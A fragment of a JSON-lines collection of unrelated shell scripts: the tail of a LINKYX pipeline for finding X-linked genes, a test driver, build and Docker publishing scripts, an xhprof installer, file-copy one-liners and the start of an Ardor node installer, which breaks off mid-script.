>${dir}contig_pos_ref_alt_daughter_heterozygous\n\tcut -f 1 ${dir}contig_pos_ref_alt_daughter_heterozygous | sort | uniq >${dir}contigs_where_daughter_heterozygous\n\n\tsed '/#/d' $daughter_vcf | perl -pe 's/(comp\\S+)\\t(\\d+)\\t\\.\\t(\\S+)\\t(\\S+).+/$1\\t$2\\t$3\\t$4/' | sort >${dir}contig_pos_ref_alt_daughter\n\n#FATHER PREPARE FILES\n\n\tsed '/#/d' $father_vcf | perl -pe 's/(comp\\S+)\\t(\\d+)\\t\\.\\t(\\S+)\\t(\\S+).+/$1\\t$2\\t$3\\t$4/' | sort >${dir}contig_pos_ref_alt_father\n\n#SON PREPARE FILES\n\n\tsed '/#/d' $son_vcf | perl -pe 's/(comp\\S+)\\t(\\d+)\\t\\.\\t(\\S+)\\t(\\S+).+/$1\\t$2\\t$3\\t$4/' | sort >${dir}contig_pos_ref_alt_son\n\n\necho -e \"Step 0 of 3.\\nMother must be homozygote.\";\n\tsed '/#/d' $mother_vcf | cut -f1 | sort | uniq >${dir}contigs_where_mother_differs_from_mother;\n\tdiffering=`cat ${dir}contigs_where_mother_differs_from_mother | wc -l`;\n\n\tperl -MFile::Slurp -ne 'BEGIN{@a{split(/\\s/,read_file(\"A/contigs_where_mother_differs_from_mother\"))}=()}; $b=$_; @data = split(/\\s/, $b); $res=$data[0]; print if !exists $a{$res}' references/reference_contig_names | sort | uniq >${dir}contigs_where_mother_same_as_mother_unchecked\n\n\t#check whether mother really does not contain any father variants\n\twrong_hits=0;\n\tcat ${dir}contigs_where_mother_same_as_mother_unchecked | (while read line; do \n\t\tcontig_check=`bash ${LINKYX_PATH}/scripts/test.sh ${line} 4 ${dir}contig_pos_ref_alt_father $mother_bam A`\n\t\tif [[ $contig_check -gt 0 ]]; then\n\t\t\techo \"contig: \" ${line} \"contig_check:\" $contig_check >>kontrola;\n\t\t\techo \"DID NOT PASS \"${line}; \n\t\t\twrong_hits=`expr $wrong_hits + 1`\n\t\telse\n\t\t\t#echo \"0K\"; \n\t\t\techo ${line} >>${dir}contigs_where_mother_same_as_mother\n\t\tfi\n\tdone;\n\techo \"There is this number of wrong variants: \"$wrong_hits;\n\t)\n\n\tsame=`cat ${dir}contigs_where_mother_same_as_mother | wc -l`;\n\techo -e \"Number of contigs, where mother differs: $differing.\";\n\techo -e \"NUMBER of contigs AFTER just this filter: $same/$mother_contigs\";\n\nnewline;\n\necho -e \"Step 1 of 3.\\nSons must be same as mother.\";\n\t#First we have to get rid of the intersection with father, possible Y variants do not matter in the calculation\n\tcomm -12 ${dir}contig_pos_ref_alt_son ${dir}contig_pos_ref_alt_father | sort | uniq >${dir}possible_Yvariants\n\tcut -f 1 ${dir}possible_Yvariants | sort | uniq >${dir}contigs_with_possible_Yvariants\n\t\n\t#if these possible_Yvariants are in the daughter, they are not Y variants\n\tcomm -12 ${dir}contig_pos_ref_alt_daughter ${dir}possible_Yvariants | sort | uniq >${dir}NOT_Yvariants\n\tcut -f 1 ${dir}NOT_Yvariants | sort | uniq >${dir}contigs_with_NOT_Yvariants\n\n\tperl -MFile::Slurp -ne 'BEGIN{@a{split(/\\s/,read_file(\"A/contigs_with_NOT_Yvariants\"))}=()}; $b=$_; @data = split(/\\s/, $b); $res=$data[0]; print if !exists $a{$res}' ${dir}contigs_with_possible_Yvariants | sort | uniq >${dir}contigs_with_Yvariants\n\n\t#contig_pos_ref_alt_Yvariants_confirmed; we deplet just those contigs that contain Y variants and then decide if sons are same as mother\n\n\ttouch ${dir}contig_pos_ref_alt_Yvariants_confirmed_pro #todo - needs to be created?\ncat ${dir}contigs_with_Yvariants | (while read line; do \n\tgrep ${line} ${dir}contig_pos_ref_alt_father | sort >>${dir}contig_pos_ref_alt_Yvariants_confirmed_pro\ndone;\n)\n\tcat ${dir}contig_pos_ref_alt_Yvariants_confirmed_pro | sort >${dir}contig_pos_ref_alt_Yvariants_confirmed;\n\t\n\tcomm -23 ${dir}contig_pos_ref_alt_son ${dir}contig_pos_ref_alt_Yvariants_confirmed | cut -f 1 | sort | uniq >${dir}contigs_where_sons_variation_not_caused_by_father\n\t#rm ${dir}contig_pos_ref_alt_Yvariants_confirmed_pro;\n\n\tperl -MFile::Slurp -ne 'BEGIN{@a{split(/\\s/,read_file(\"A/contigs_where_sons_variation_not_caused_by_father\"))}=()}; $b=$_; @data = split(/\\s/, $b); $res=$data[0]; print if !exists $a{$res}' references/reference_contig_names | sort | uniq >${dir}contigs_where_sons_same_as_mother\n\n\tsame=`cat ${dir}contigs_where_sons_same_as_mother | wc -l`;\n\techo -e \"Number of contigs, where sons differ: $differing.\";\n\techo -e \"NUMBER of contigs AFTER just this filter: $same/$mother_contigs\";\n\n\n\tnewline;\necho -e \"Step 2 of 3.\\nFather must differ from mother.\";\n\tsed '/#/d' $father_vcf | cut -f1 | sort | uniq >${dir}/contigs_where_father_differs_from_mother;\n\tdiffering=`cat ${dir}contigs_where_father_differs_from_mother | wc -l`;\n\techo -e \"NUMBER of contigs AFTER just this filter: $differing/$mother_contigs\";\n\n\tnewline;\n\necho -e \"Step 3 of 3.\\nDaughter must have mother and father alleles.\";\n\t#we need daughter to have alleles from both parents (AF stands for 'allele frequency')\n\n\t#unique lines in first file mean that those are not subsets of father variants - otherwise they would be in common\n\tcomm -23 ${dir}contig_pos_ref_alt_daughter_heterozygous ${dir}contig_pos_ref_alt_father | cut -f 1 | sort | uniq >${dir}daughter_NOT_subset_of_father\n\n\tperl -MFile::Slurp -ne 'BEGIN{@a{split(/\\s/,read_file(\"A/daughter_NOT_subset_of_father\"))}=()}; $b=$_; @data = split(/\\s/, $b); $res=$data[0]; print if !exists $a{$res}' ${dir}contigs_where_daughter_heterozygous | sort | uniq >${dir}/contigs_where_daughter_from_parents\n\t\n\nsame=`cat ${dir}contigs_where_daughter_from_parents | wc -l`;\n\techo -e \"NUMBER of contigs AFTER just this filter: $same/$mother_contigs\";\n\t\n\tnewline;\n\necho -e \"Step 4 of 3.\\nDaughters and sons can not have any intersection.\";\n\tcomm -12 ${dir}contig_pos_ref_alt_daughter ${dir}contig_pos_ref_alt_son >${dir}sons_and_daughters_similiar\n\tcut -f 1 ${dir}sons_and_daughters_similiar | sort | uniq >${dir}contigs_where_sons_and_daughters_similiar\n\n\tperl -MFile::Slurp -ne 'BEGIN{@a{split(/\\s/,read_file(\"A/contigs_where_sons_and_daughters_similiar\"))}=()}; $b=$_; @data = split(/\\s/, $b); $res=$data[0]; print if !exists $a{$res}' ${dir}contigs_where_daughter_heterozygous | sort | uniq >${dir}contigs_where_daughters_and_sons_different_pro\n\n\t#check whether they are really different (small amount of variants is also wrong)\n\n\techo -e \"daughter contains son variants?\"\n\t#check whether daughter really does not contain any of son variants\n\twrong_hits=0;\n\tcat ${dir}contigs_where_daughters_and_sons_different_pro | (while read line; do \n\t\tcontig_check=`bash ${LINKYX_PATH}/scripts/test.sh ${line} 4 ${dir}contig_pos_ref_alt_daughter $son_bam A`\n\t\tif [[ $contig_check -gt 0 ]]; then\n\t\t\techo \"DID NOT PASS \"${line}; \n\t\t\techo \"daughter contains son variants DID NOT PASS \"${line} >>kontrola\n\t\t\twrong_hits=`expr $wrong_hits + 1`\n\t\telse\n\t\t\t#echo \"0K\"; \n\t\t\techo ${line} >>${dir}contigs_where_daughters_and_sons_different_un1\n\t\tfi\n\tdone;\n\techo \"There is this number of wrong variants: \"$wrong_hits;\n\t)\n\n\techo -e \"son contains daughter variants?\"\n\t#check whether son really does not contain any of daughter variants\n\twrong_hits=0;\n\tcat ${dir}contigs_where_daughters_and_sons_different_pro | (while read line; do \n\t\tcontig_check=`bash ${LINKYX_PATH}/scripts/test.sh ${line} 4 ${dir}contig_pos_ref_alt_son $daughter_bam A`\n\t\tif [[ $contig_check -gt 0 ]]; then\n\t\t\techo \"DID NOT PASS \"${line}; \n\t\t\techo \"son contains daughter variants DID NOT PASS \"${line} >>kontrola\n\t\t\twrong_hits=`expr $wrong_hits + 1`\n\t\telse\n\t\t\t#echo \"0K\"; \n\t\t\techo ${line} >>${dir}contigs_where_daughters_and_sons_different_un2\n\t\tfi\n\tdone;\n\techo \"There is this number of wrong variants: \"$wrong_hits;\n\t)\n\n\tcomm -12 ${dir}contigs_where_daughters_and_sons_different_un1 ${dir}contigs_where_daughters_and_sons_different_un2 | sort >${dir}contigs_where_daughters_and_sons_different_un\n\n\tcat ${dir}contigs_where_daughters_and_sons_different_un | sort | uniq >${dir}contigs_where_daughters_and_sons_different;\n\t\n#rm ${dir}contigs_where_daughters_and_sons_different_un1 ${dir}contigs_where_daughters_and_sons_different_un2 ${dir}contigs_where_daughters_and_sons_different_un;\n\n\tsame=`cat ${dir}contigs_where_daughters_and_sons_different | wc -l`;\n\techo -e \"NUMBER of contigs AFTER just this filter: $same/$mother_contigs\";\n\n\techo -e \"Calculating intersection of candidate contigs from steps 0-3.\";\n\n\tcomm -12 ${dir}contigs_where_mother_same_as_mother ${dir}contigs_where_sons_same_as_mother | sort >${dir}first_couple;\n comm -12 ${dir}contigs_where_father_differs_from_mother ${dir}contigs_where_daughter_from_parents | sort >${dir}second_couple;\n\tcomm -12 ${dir}first_couple ${dir}second_couple | sort >${dir}set1\n\tcomm -12 ${dir}contigs_where_daughters_and_sons_different ${dir}set1 | sort >${dir}set2; \n\ncat ${dir}set2 >>results; #todo remove\necho -e \"Number of contigs after intersection: \" `cat ${dir}set2 | wc -l`;\n\necho -e \"Step -1 of 3.\\nCoverage must be sufficient.\";\n\ttouch ${dir}contigs_with_sufficient_coverage;\n\ncat ${dir}set2 | (while read line; do \n\n\tcoverage_check1=`bash ${LINKYX_PATH}/scripts/get_average_contig_coverage.sh 0.75 ${line} $mother_bam $reference 2>/dev/null &`;\n\tcoverage_check2=`bash ${LINKYX_PATH}/scripts/get_average_contig_coverage.sh 0.75 ${line} $father_bam $reference 2>/dev/null &`;\n\tcoverage_check3=`bash ${LINKYX_PATH}/scripts/get_average_contig_coverage.sh 0.75 ${line} $son_bam $reference 2>/dev/null &`;\n\tcoverage_check4=`bash ${LINKYX_PATH}/scripts/get_average_contig_coverage.sh 0.75 ${line} $daughter_bam $reference 2>/dev/null &`;\n\n\t#echo \"coverage check: \" $coverage_check1 $coverage_check2 $coverage_check3 $coverage_check4\n\n\tcoverage_check=$(($coverage_check1 + $coverage_check2 + $coverage_check3 + $coverage_check4))\n\t\tif [[ $coverage_check -gt 0 ]]; then\n\t\t\techo \"LOW COVERAGE \"${line}; \n\t\telse\n\t\t\techo \"COVERAGE 0K\"; \n\t\t\techo ${line} >>${dir}contigs_with_sufficient_coverage\n\t\tfi\ndone;\n)\n\n\tcat ${dir}contigs_with_sufficient_coverage | sort >X_results.txt; \n\n#have we found any genes?\n\tfinal_contigs=`cat X_results.txt | wc -l`;\n\techo -e \"$final_contigs contigs found fulfilling criteria.\";\n\n\tif [ $final_contigs -gt 0 ]; then\n\t\t#we found SOME genes\n\n\t\t#retrieve sequences in fasta\n\t\tperl ${LINKYX_PATH}/scripts/get_sequences_based_on_ids.pl $reference X_results.txt >X_results_sequences.fasta;\n\t\t#sort sequences\n\t\tperl ${LINKYX_PATH}/scripts/sorting.pl A/ $reference ${LINKYX_PATH} >>$results\n\n\tget_results_in_bam_file () \n\t{\n\t#candidates full_bam_file candidates_bam_file\n\tcat X_results.txt | xargs samtools view -F 4 -b $1 > $2;\n\tsamtools index $2\n\t}\n\n\tget_results_in_bam_file $mother_bam ${12} #argument for output bam file mother\n\tget_results_in_bam_file $father_bam ${13} #argument for output bam file father\n\tget_results_in_bam_file $daughter_bam ${14} #argument for output bam file daughter\n\tget_results_in_bam_file $son_bam ${15} #argument for output bam file son\n\twait;\n\n\t#send BAM files with corresponding contigs\n\t#mutt -s \"LINKYX: Results of computation for X-linked genes\" $email_address_of_user -a bam/mother.bam -a bam/mother.bam.bai -a bam/father.bam -a bam/father.bam.bai -a bam/daughter.bam -a bam/daughter.bam.bai -a bam/son.bam -a bam/son.bam.bai < messages_to_user/message_results_sentBamX;\n\n\telse\n\t\t#we found NO genes\n\t\techo \"No sequences found.\" >X_results.txt;\n\t\techo \"No sequences found.\" >X_results_sequences.fasta;\n\tfi\n\n\tnewline;\necho -e \"Writing output to X_results.txt\";\necho -e \"Total number of found X-linked genes: $final_contigs\";\n\n#TEST OUTPUT\n\tcat X_results.txt >>$results\n\tcat X_results_sequences.fasta >>$results_fasta\n\tls -lah */* >>$results"} {"text": "#!/bin/bash\n\nDEBUG=\"\"\nBASE_DIR=$(dirname $0)\nXSLT_EXE=xsltproc\nTEST_EXE=\nTEST_NAME=\nLOG_FILE=\nTRS_FILE=\nCOLOR_TESTS=no\nEXPECT_FAILURE=no\nENABLE_HARD_ERRORS=no\nCHECK_XML_FILE=\nCHECK_XSL_FILE=\n\n# Help doc\nusage () {\n echo \"check-driver --test-name path --log-file path --trs-file path [--color-tests {yes|no}] [--expect-failure {yes|no}] [--enable-hard-errors {yes|no}] [--check-xml-file path] [--check-xsl-file path] -- test_exe\"\n}\n\n# Process arguments\nif [ -n \"${DEBUG}\" ] ; then\n echo $0 $@\nfi\nwhile test $# -gt 0 ; do\n case $1 in\n --test-name)\n TEST_NAME=\"$2\"\n shift;;\n --log-file)\n LOG_FILE=\"$2\"\n shift;;\n --trs-file)\n TRS_FILE=\"$2\"\n shift;;\n --color-tests)\n COLOR_TESTS=\"$2\"\n shift;;\n --expect-failure)\n EXPECT_FAILURE=\"$2\"\n shift;;\n --enable-hard-errors)\n ENABLE_HARD_ERRORS=\"$2\"\n shift;;\n --check-xml-file)\n CHECK_XML_FILE=\"$2\"\n shift;;\n --check-xsl-file)\n CHECK_XSL_FILE=\"$2\"\n shift;;\n --)\n TEST_EXE=\"$2\"\n shift; break;;\n *)\n echo \"Unknown argument: $1\"\n usage ; exit 1\n ;;\n esac\n shift\ndone\n\n# Validate arguments\nif [ -z \"${TEST_EXE}\" ] ; then\n usage ; exit 2\nfi\nif [ -z \"${TEST_NAME}\" ] ; then\n usage ; exit 3\nfi\nif [ -z \"${LOG_FILE}\" ] ; then\n usage ; exit 4\nfi\nif [ -z \"${TRS_FILE}\" ] ; then\n usage ; exit 5\nfi\nif [ \"${COLOR_TESTS}\" != \"yes\" ] ; then\n COLOR_TESTS=no\nfi\nif [ \"${EXPECT_FAILURE}\" != \"yes\" ] ; then\n EXPECT_FAILURE=no\nfi\nif [ \"${ENABLE_HARD_ERRORS}\" != \"yes\" ] ; then\n ENABLE_HARD_ERRORS=no\nfi\nif [ -z \"${CHECK_XML_FILE}\" ] ; then\n CHECK_XML_FILE=${TEST_NAME}.xml\nfi\nif [ -z \"${CHECK_XSL_FILE}\" ] ; then\n CHECK_XSL_FILE=\"${BASE_DIR}/check2trs.xslt\"\nfi\n\n# Debug\nif [ -n \"${DEBUG}\" ] ; then\n echo \"BASE_DIR = ${BASE_DIR}\"\n echo \"TEST_EXE = ${TEST_EXE}\"\n echo \"TEST_NAME = ${TEST_NAME}\"\n echo \"LOG_FILE = ${LOG_FILE}\"\n echo \"TRS_FILE = ${TRS_FILE}\"\n echo \"COLOR_TESTS = ${COLOR_TESTS}\"\n echo \"EXPECT_FAILURE = ${EXPECT_FAILURE}\"\n echo \"ENABLE_HARD_ERRORS = ${ENABLE_HARD_ERRORS}\"\n echo \"CHECK_XML_FILE = ${CHECK_XML_FILE}\"\n echo \"CHECK_XSL_FILE = ${CHECK_XSL_FILE}\"\nfi\n\n# run check\nCK_VERBOSITY=verbose CK_XML_LOG_FILE_NAME=\"${CHECK_XML_FILE}\" \"${TEST_EXE}\" > \"${LOG_FILE}\"\n\n# Translate check's xml to automake's trs\n\"$XSLT_EXE\" -o \"${TRS_FILE}\" \"${CHECK_XSL_FILE}\" \"${CHECK_XML_FILE}\""} {"text": "#!/bin/bash\nfeat_scp=$1\nsort_feat_scp=$2\njob_id=$3\nmin_len=$4\n#$bin=/export/expts2/chaoyang/e2e/eesen/src/featbin/feat-to-len\necho 'feat-to-len'\n#ldd feat-to-len\necho $feat_scp\nfeat-to-len scp:$feat_scp ark,t:- | awk '{print $2}' > len.$job_id.tmp || exit 1;\npaste -d \" \" $feat_scp len.$job_id.tmp | sort -k3 -n - | awk -v m=$min_len '{ if ($3 >= m) {print $1 \" \" $2} }' > $sort_feat_scp || exit 1;\nrm len.$job_id.tmp"} {"text": "mangenotwork/extras\n#! /bin/bash\n\ncd ../apps/ShortLink/\n\nAppName=shortlink\n\n# app version\nVERSION=0.0.1\n\n# ImageURL\nImageURL=ccr.ccs.tencentyun.com/mange/\n\n# go mod\nrm -rf vendor\ngo mod vendor\n\n\n#builder app\nCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags \"-w -s\" -o $AppName main.go\n\n# docker build\ndocker build --rm -t $AppName:latest .\n\n# docker push\ndocker login ccr.ccs.tencentyun.com --username=100015308690 --password=\ndocker tag $AppName:latest $ImageURL$AppName:$VERSION\ndocker push $ImageURL$AppName:$VERSION\n\n\n# rm tmp file\nif [ $? -eq 0 ];then\n # rm tmp file\n docker rmi $AppName:latest\n rm -rf $AppName\n rm -rf vendor\n echo \"publish:success\"\nelse\n echo \"publish:failure\"\nfi"} {"text": "sudo apt install -y libsctp-dev;cd odu;make clean_odu MACHINE=BIT64 MODE=TDD;make odu MACHINE=BIT64 MODE=TDD COVERAGE=1"} {"text": "chroota.zdb/script/unemploy-component.sh\n#!/bin/bash -e\n\nscript_dir=$(dirname \"$(readlink -f \"$0\")\")\n\nsource params.sh\n\ncopathes=($1)\n\nfor copath in \"${copathes[@]}\"\ndo\n\ncomponent_guid=$(sed -n 's/global_name=//p' $copath)\nlocal_file=$(find \"$chroot_dir/chroot.d/\" -type f -name \"??-$component_guid.ini\")\n\n# вроде не надо - дальше кэт и так свалится\n# дык он свалится - и мы свалимся\n# echo CCCCC\nif test ! -f \"$local_file\"; then\n echo \"unemploy_component: local_file not found!!! path=$local_file\"\n echo \"lookup was: ??-$component_guid.ini\"\n rm -f \"$chroot_dir/chroot.d/bindings.params/$component_guid.sh\"\n exit\nfi\n\necho \"========= chroota unemploying component:\"\necho \"copath=$copath\"\necho \"component_guid=$component_guid\"\necho \"local path=$local_file\"\necho \"======= local dump\"\ncat \"$local_file\"\necho \"========================================\"\n\n# Вызвать дестрой - убрать софт, развернутый компонентой\n# оказывается еще стоп надо. ибо коллапс не подразумевает стоп, как выяснилось.. \n# это ж логика чруты, то есть нашего текущего скрипта\n$script_dir/default.sh stop --only $component_guid || echo \"STOP FAILED. We continue because probably this is normal\"\n$script_dir/default.sh destroy --only $component_guid\n# Затем убрать упоминания о компоненте из запуск-базы развернутой чруты\nrm -f \"$local_file\"\nrm -f \"$chroot_dir/chroot.d/bindings.params/$component_guid.sh\"\n\ndone"} {"text": "#!/usr/bin/env bash\n\nfunction install_xhprof_master {\n local source_dir=\"$TMP/source/xhprof-master\"\n local cwd=$(pwd)\n local revision=$1\n\n if [ -d \"$source_dir\" ] && [ -d \"$source_dir/.git\" ]; then\n log \"xhprof\" \"Updating xhprof from Git Master\"\n cd \"$source_dir\"\n git pull origin master > /dev/null\n cd \"$cwd\"\n else\n log \"xhprof\" \"Fetching from Git Master\"\n git clone git://github.com/facebook/xhprof.git \"$source_dir\" > /dev/null\n fi\n\n if [ -n \"$revision\" ]; then\n log \"xhprof\" \"Checkout specified revision: $revision\"\n cd \"$source_dir\"\n git reset --hard $revision\n cd \"$cwd\"\n fi\n\n _build_xhprof \"$source_dir\"\n}\n\nfunction install_xhprof {\n local version=$1\n local package_url=\"http://pecl.php.net/get/xhprof-$version.tgz\"\n\n if [ -z \"$version\" ]; then\n echo \"install_xhprof: No Version given.\" >&3\n return 1\n fi\n\n log \"xhprof\" \"Downloading $package_url\"\n\n # We cache the tarballs for xhprof versions in `packages/`.\n if [ ! -f \"$TMP/packages/xhprof-$version.tgz\" ]; then\n wget -qP \"$TMP/packages\" \"$package_url\"\n fi\n\n # Each tarball gets extracted to `source/xhprof-$version`.\n if [ -d \"$TMP/source/xhprof-$version\" ]; then\n rm -rf \"$TMP/source/xhprof-$version\"\n fi\n\n tar -xzf \"$TMP/packages/xhprof-$version.tgz\" -C \"$TMP/source\"\n\n [[ -f \"$TMP/source/package.xml\" ]] && rm \"$TMP/source/package.xml\"\n [[ -f \"$TMP/source/package2.xml\" ]] && rm \"$TMP/source/package2.xml\"\n\n _build_xhprof \"$TMP/source/xhprof-$version\"\n}\n\nfunction _build_xhprof {\n local source_dir=\"$1\"\n local cwd=$(pwd)\n\n log \"xhprof\" \"Compiling in $source_dir\"\n\n cd \"$source_dir/extension\"\n\n {\n $PREFIX/bin/phpize > /dev/null\n \"$(pwd)/configure\" --with-php-config=$PREFIX/bin/php-config > /dev/null\n\n make > /dev/null\n make install > /dev/null\n } >&4 2>&1\n\n local xhprof_home=\"$PREFIX/share/xhprof\"\n\n [ ! -d \"$xhprof_home\" ] && mkdir -p \"$xhprof_home\"\n\n # copy xhprof_html & xhprof_lib\n cp -r \"$source_dir/xhprof_html\" \"$xhprof_home\"\n cp -r \"$source_dir/xhprof_lib\" \"$xhprof_home\"\n\n local xhprof_ini=\"$PREFIX/etc/conf.d/xhprof.ini\"\n\n local extension_dir=$(\"$PREFIX/bin/php\" -r \"echo ini_get('extension_dir');\")\n\n if [ ! -f \"$xhprof_ini\" ]; then\n log \"xhprof\" \"Installing xhprof configuration in $xhprof_ini\"\n\n echo \"extension=\\\"$extension_dir/xhprof.so\\\"\" > $xhprof_ini\n echo \"xhprof.output_dir=\\\"/var/tmp/xhprof\\\"\" >> $xhprof_ini\n\n fi\n\n log \"xhprof\" \"Cleaning up.\"\n make clean > /dev/null\n\n cd \"$cwd\" > /dev/null\n}"} {"text": "mov.sh\nls|grep -v sealert.log | grep -v mysqltable | grep -v scrollkeeper-root\n|xargs -i cp -rp {} ~/tmphome/\n\n\n\ncp -ra $(ls -a|grep -v \"node_modules\\|Dockerfile\\|README.\"|xargs) ../generator-choerodon-ui-pro\n\nsudo ls -a|grep -v 'node_modules\\|Dockerfile\\|README.'|xargs -i sudo cp -rp {} ~/Desktop/tmp \n\ncp -rp `ls|grep -v \"node_modules\\|Dockerfile\\|README*\"` ~/Desktop/tmp"} {"text": "#!/bin/bash\n\n#\n# This script installs an ardor node (https://ardorplatform.org/) on an ubuntu server.\n# It is based on the official installation guide\n# (https://ardordocs.jelurida.com/Getting_started)\n#\n\n###################################################################################################\n# DEFAULTS\n###################################################################################################\nRELEASEMAINDEFAULT=yes\nRELEASETESTDEFAULT=no\nOPENAPIDEFAULT=no\nHAVEDOMAINDEFAULT=no\nARCHIVALDEFAULT=no\n\nSETUP_DOMAIN_MAINNET=false\nIS_ARCHIVAL_MAINNET_NODE=false\n\nSETUP_DOMAIN_TESTNET=false\nIS_ARCHIVAL_TESTNET_NODE=false\n\nENABLE_LETSENCRYPT=false\nENABLE_SELF_SIGNED_CERTIFICATE=false\n\nDEFAULT_INSTALL_LOCATION=$( pwd )\n\n###################################################################################################\n# CONFIGURATION\n###################################################################################################\n\n#INSTALL_MAINNET_NODE=true\nMAINNET_DOMAIN=\"\"\n\nDOWNLOAD_MAINNET_BLOCKCHAIN=true\n\n\n\n#INSTALL_TESTNET_NODE=true\nTESTNET_DOMAIN=\"\"\n\nDOWNLOAD_TESTNET_BLOCKCHAIN=true\n\n\nLETSENCRYPT_RENEW_EVENT=\"30 2 1 */1 *\" # At 02:30 on day-of-month 1 in every month.\n\nREBOOT=true\n\n\n###################################################################################################\n# DEFINES\n###################################################################################################\n\nARDOR_MAINNET_FOLDER=\"ardor-mainnet\"\nARDOR_TESTNET_FOLDER=\"ardor-testnet\"\n\nARDOR_MAINNET_SERVICE=\"ardor-mainnet\"\nARDOR_TESTNET_SERVICE=\"ardor-testnet\"\n\n\nLOCAL_USER=$(whoami)\n\n\nPROFILE_LANGUAGE_VARIABLE=\"\nexport LANGUAGE=\\\"en_US.UTF-8\\\"\nexport LANG=\\\"en_US.UTF-8 \\\"\nexport LC_ALL=\\\"en_US.UTF-8\\\"\nexport LC_CTYPE=\\\"en_US.UTF-8\\\"\n\"\n\n\nNGINX_SELFSIGNED_MAINNET_GATEWAY_CONFIGURATION_FILE_CONTENT=\"\nserver {\n server_name ${MAINNET_DOMAIN};\n\n location / {\n proxy_bind 127.0.0.1;\n proxy_set_header Host \\$host;\n proxy_pass http://127.0.0.1:27876/;\n }\n\n listen 443 ssl;\n ssl_certificate /etc/nginx/ssl/mainnet/cert.pem;\n ssl_certificate_key /etc/nginx/ssl/mainnet/key.pem;\n\n}\n\nserver {\n if (\\$host = ${MAINNET_DOMAIN}) {\n return 301 https://\\$host\\$request_uri;\n }\n\n listen 80;\n\n server_name ${MAINNET_DOMAIN};\n return 404;\n}\n\"\n\n\nNGINX_SELFSIGNED_TESTNET_GATEWAY_CONFIGURATION_FILE_CONTENT=\"\nserver {\n server_name ${TESTNET_DOMAIN};\n\n location / {\n proxy_bind 127.0.0.1;\n proxy_set_header Host \\$host;\n proxy_pass http://127.0.0.1:26876/;\n }\n\n listen 443 ssl;\n ssl_certificate /etc/nginx/ssl/testnet/cert.pem;\n ssl_certificate_key /etc/nginx/ssl/testnet/key.pem;\n\n}\n\nserver {\n if (\\$host = ${TESTNET_DOMAIN}) {\n return 301 https://\\$host\\$request_uri;\n }\n\n listen 80;\n\n server_name ${TESTNET_DOMAIN};\n return 404;\n}\n\"\n\n\nARDOR_MAINNET_SERVICE_FILE_CONTENT=\"\n[Unit]\nDescription=Ardor-Mainnet\nAfter=syslog.target\nAfter=network.target\n\n[Service]\nRestartSec=2s\nType=simple\nWorkingDirectory=/home/${LOCAL_USER}/${ARDOR_MAINNET_FOLDER}/\nExecStart=/bin/bash /home/${LOCAL_USER}/${ARDOR_MAINNET_FOLDER}/run.sh\nRestart=always\n\n[Install]\nWantedBy=multi-user.target\n\"\n\n\nARDOR_TESTNET_SERVICE_FILE_CONTENT=\"\n[Unit]\nDescription=Ardor-Testnet\nAfter=syslog.target\nAfter=network.target\n\n[Service]\nRestartSec=2s\nType=simple\nWorkingDirectory=/home/${LOCAL_USER}/${ARDOR_TESTNET_FOLDER}/\nExecStart=/bin/bash /home/${LOCAL_USER}/${ARDOR_TESTNET_FOLDER}/run.sh\nRestart=always\n\n[Install]\nWantedBy=multi-user.target\n\"\n\n\nUNATTENDED_UPGRADE_PERIODIC_CONFIG_FILE_CONTENT=\"\nAPT::Periodic::Update-Package-Lists \\\"1\\\";\nAPT::Periodic::Download-Upgradeable-Packages \\\"1\\\";\nAPT::Periodic::Unattended-Upgrade \\\"1\\\";\nAPT::Periodic::AutocleanInterval \\\"1\\\";\n\"\n\n\nRENEW_CERTIFICATE_SCRIPT_CONTENT=\"\n#!/bin/bash\n\necho \\\"[INFO] \\$(date) ...\\\" > renew-certificate.log\n\necho \\\"[INFO] renewing certificate ...\\\" >> renew-certificate.log\ncertbot renew >> renew-certificate.log\necho \\\"\\\" >> renew-certificate.log\n\"\n\n## Make sure we are in the correct directory (corsaro suggestion)\nfunction ChangeDirectory(){\n cd ~\n eval \"cd $DEFAULT_INSTALL_LOCATION\"\n}\n\n\n###################################################################################################\n# MAIN\n###################################################################################################\necho \"\"\ndate +\"%Y-%m-%d %H:%M:%S || [INFO] Ardor install script started\"\n# Verification Checks\nif [ $UID -eq 0 ]; then\n echo \"[ERROR] $0 should not be run as root.\"\n echo \"You can run 'bash ./create-sudo-user.sh' to create a new user\"\n echo \"Exiting...\"\n exit 1\nfi\nif [ \"$OSTYPE\" != \"linux-gnu\" ] || [ \"$HOSTTYPE\" != \"x86_64\" ]; then\n echo \"Error: only Linux (x86_64) is supported.\"\n exit 2\nfi\nif [ -z \"$(grep -Ei 'debian|ubuntu|mint' /etc/*release)\" ]; then\n echo \"Error: only debian based OS is supported.\"\n exit 2\nfi\n\necho \"\" && echo \"[INFO] Working in the directory: $DEFAULT_INSTALL_LOCATION\"\nChangeDirectory\n\n[ \"${RELEASEMAIN:-}\" ] || read -r -p \"Would you like to install a mainnet node? (Default $RELEASEMAINDEFAULT): \" RELEASEMAIN\nRELEASEMAIN=${RELEASEMAIN:-$RELEASEMAINDEFAULT}\nif [ \"$RELEASEMAIN\" == \"yes\" ]; then\n INSTALL_MAINNET_NODE=true\n read -r -p \"Please enter an Admin Password for this node: \" MAINNET_ADMIN_PASSWORD\n [ \"${OPENAPIMAIN:-}\" ] || read -r -p \"Do you want this mainnet node to have an open API? (Default $OPENAPIDEFAULT): \" OPENAPIMAIN\n OPENAPIMAIN=${OPENAPIMAIN:-$OPENAPIDEFAULT}\n if [ \"$OPENAPIMAIN\" == \"yes\" ]; then\n SETUP_OPENAPI_MAINNET=true\n\n [ \"${HAVEDOMAINMAIN:-}\" ] || read -r -p \"Do you have a domain name for this mainnet node? (Default $HAVEDOMAINDEFAULT): \" HAVEDOMAINMAIN\n HAVEDOMAINMAIN=${HAVEDOMAINMAIN:-$HAVEDOMAINDEFAULT}\n if [ \"$HAVEDOMAINMAIN\" == \"yes\" ]; then\n read -r -p \"Please enter the domain name: \" MAINNET_DOMAIN\n SETUP_DOMAIN_MAINNET=true\n ENABLE_LETSENCRYPT=true\n fi\n \n elif [ \"$OPENAPIMAIN\" == \"no\" ]; then\n SETUP_OPENAPI_MAINNET=false\n else\n echo \"$OPENAPIMAIN is not valid, please check and re-execute\"\n exit 2;\n fi\n [ \"${ARCHIVALMAIN:-}\" ] || read -r -p \"Do you want this mainnet node to be an archival node? (Default $ARCHIVALDEFAULT): \" ARCHIVALMAIN\n ARCHIVALMAIN=${ARCHIVALMAIN:-$ARCHIVALDEFAULT}\n if [ \"$ARCHIVALMAIN\" == \"yes\" ]; then\n IS_ARCHIVAL_MAINNET_NODE=true \n fi\nelif [ 